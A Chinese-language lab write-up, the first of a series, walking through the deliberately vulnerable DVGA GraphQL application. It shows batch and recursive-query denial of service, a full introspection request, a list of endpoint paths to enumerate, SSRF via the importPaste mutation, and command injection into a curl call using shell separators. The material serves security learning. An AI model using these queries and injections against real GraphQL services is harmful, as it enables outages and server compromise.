【安全记录】玩转GraphQL - DVGA靶场(上)

前言

之前见过一些介绍GraphQL漏洞的文章,翻看参考了很多相关文章,特以此文记录学习DVGA靶场的过程要点。

GraphQL介绍

GraphQL 是一个用于API的查询语言,使用基于类型系统来执行查询的服务(类型系统由你的数据定义)。GraphQL并没有和任何特定数据库或者存储引擎绑定,而是依靠你现有的代码和数据支撑。

再REST API中,往往我们的请求需要多个API,每个API是一个类型。比如:http://www.test.com/users/{id} 这个API可以获取用户的信息;再比如:http://www.test.com/users/list 这个API可以获取所有用户的信息。

在graphql中则不需要这么多api来实现不同的功能,只需要一个API,比如:http://www.test.com/graphql这个API。查询不同的内容仅需要改变post内容,不再需要维护多个api。

打开GraphQL的官方demo(https://graphql.org/swapi-graphql),查询personID为1的人的idbirthYear信息:

query{
  person(personID: 1){
    id
    birthYear
  }
}
image

在这种架构中,客户端首先与GraphQL进行交互,后者又与后端逻辑代码进行交互,最终逻辑代码与数据库进行信息交互。描述这种情况的图是:

image

这种架构的优势如下:

  1. 可以在单个请求中获得客户端所需的所有数据(而REST API需要执行多个请求)
  2. 使用一个Endpoint(URL路由)即可处理多种请求。

根据官方文档,主要的操作类型有三种:query(查询)、mutation(变更)、subscription(订阅),最常用的就是query,所有的查询都需要操作类型,除了简写查询语法。

DVGA靶场环境

GitHub项目:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

使用docker搭建漏洞环境:

docker pull dolevf/dvga
docker run -d -p 5000:5000 -e WEB_HOST=0.0.0.0 dolevf/dvga

访问http://ip:5000即可:

image

DVGA靶场学习

DVGA靶场提供了一个官方解题solution,对靶场中存在的漏洞接口进行讲解,我们可以按照这个顺序学习GraphQL相关的漏洞知识。

1. Denial of Service

1.1 批量查询攻击

GraphQL 支持批处理请求,这使其成为DoS攻击以及其他攻击(例如暴力破解和枚举攻击等)的良好候选者。

如果识别出资源密集型 GraphQL 查询,我们可以利用批处理来调用查询接口,导致服务器淹没在请求中,造成拒绝服务攻击。

在该靶场中,查询 systemUpdate 接口需要很长时间才能完成,可用于通过批处理系统更新请求查询来攻击服务器。

POST /graphql HTTP/1.1
Host: dvga:5000
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 56
Content-Type: application/json

{"query": "query {\n  systemUpdate\n}", "variables": []}

请求一次该接口所需时间:

image

使用批处理请求,请求两次该接口,所需时间翻倍:

image

1.2 深度递归查询攻击

在 GraphQL 中,当类型之间相互引用时,就会构建一个循环查询,该查询以指数方式增长到可以使服务器瘫痪的程度。诸如 max_depth 之类的方法可以帮助减轻这些类型的攻击。

修复措施max_depth 功能作为一种保护措施,定义了查询的深度,确保超过该深度的查询不会被 GraphQL 接受。

该靶场提供了OwnerPaste两种类型,它们之间相互引用(``Owner拥有PastePaste对应Owner`),可以成功执行递归查询。

如此查询方式,使得服务器查询效率大大降低:

query {
  pastes {
    owner {
      paste {
        edges {
          node {
            owner {
              paste {
                edges {
                  node {
                    owner {
                      paste {
                        edges {
                          node {
                            owner {
                              id
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
image

1.3 资源密集型查询攻击

某些查询在计算上可能比其他查询更昂贵。一个查询可能包括某些字段,这些字段会触发更复杂的后端逻辑以实现查询解析。作为攻击者,我们可以通过频繁调用这些操作来滥用它以导致资源耗尽。

修复措施:在 GraphQL 中,存在一个称为查询成本分析的概念,它将权重值分配给解析成本高于其他字段的字段。使用此功能,我们可以创建一个上限阈值来拒绝昂贵的查询。或者,可以实现缓存功能以避免在短时间内重复相同的请求。

2. 信息泄露

2.1 GraphQL 内省查询

简单来说就是,GraphQL内置了接口文档,你可以通过内省的方法获得这些信息,如对象定义、接口参数等信息。

当使用者不知道某个GraphQL接口中的类型哪些是可用的,可以通过__schema字段来向GraphQL查询哪些类型是可用的。

POST /graphql HTTP/1.1
Host: dvga:5000
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 1927
Content-Type: application/json

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}
image

将响应内内容粘贴到该网站:https://apis.guru/graphql-voyager/

image

可以针对 GraphQL 运行内省查询的结果展示模型关系。

image

2.2 GraphQL 接口

GraphQL 有一个名为 GraphiQL(注意 i)的集成开发环境,它允许在友好的用户界面中构建查询。

GraphiQL 通常位于 /graphiql__graphiql 等路径中,但也可能位于其他位置。可枚举的存在路由如下:

"/",
"/graphql",
"/graphiql",
"/v1/graphql",
"/v2/graphql",
"/v3/graphql",
"/graphql/console",
"/v1/graphql/console",
"/v2/graphql/console",
"/v3/graphql/console",
"/v1/graphiql",
"/v2/graphiql",
"/v3/graphiql",
"/playground",
"/query",
"/explorer",
"/altair",

可以使用此 Nmap 的 NSE 脚本来枚举 GraphiQL 端点:https://github.com/dolevf/nmap-graphql-introspection-nse/blob/6594cce7b590a7194641494ed33c018d9ecd6b89/graphql-introspection.nse#L47

2.3 GraphQL 字段建议

GraphQL 具有字段和操作反馈建议的功能。例如,当开发人员想要与 GraphQL API 集成并键入不正确的字段时,GraphQL 将反馈建议相似的字段。

字段建议本身并不是一个漏洞,而是一个可以被滥用以更深入地了解 GraphQL 模式的功能,尤其是在不允许自省的情况下。

如尝试查询system字段,响应包给出反馈建议:

POST /graphql HTTP/1.1
Host: dvga:5000
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 49
Content-Type: application/json

{"query":"query {\n  system\n}","variables":null}
image

2.4 服务端请求伪造SSRF

该靶场中,GraphQL mutation 的 importPaste 接受任意主机、端口和协议来导入粘贴,并且不限制使用诸如 localhost 或其他内部服务器之类的输入。这可以允许代表应用服务器伪造针对其他网络节点的请求。

该功能为请求URL并将响应内容保存为paste,功能点所在位置:

image

请求dnslog:

image

dnslog收到请求:

image

该过程的请求包如下:

image

可以使用gopherdict等协议进行内网探测等。

3. 代码执行

在上面介绍SSRF的导入paste功能处,通过分析源码,发现此处还存在代码注入漏洞,接收输入,拼接到curl --insecure命令后面并执行系统命令:

core/views.py ImportPaste类中

def mutate(self, info, host='pastebin.com', port=443, path='/', scheme="http"):
    url = security.strip_dangerous_characters(f"{scheme}://{host}:{port}{path}")
    cmd = helpers.run_cmd(f'curl --insecure {url}')

可以通过

``
||
;;
&&

等方式拼接执行命令:

image

未完待续。。。

参考链接

https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

https://www.yuque.com/henry-weply/penetration/ps5n3g

©著作权归作者所有,转载或内容合作请联系作者
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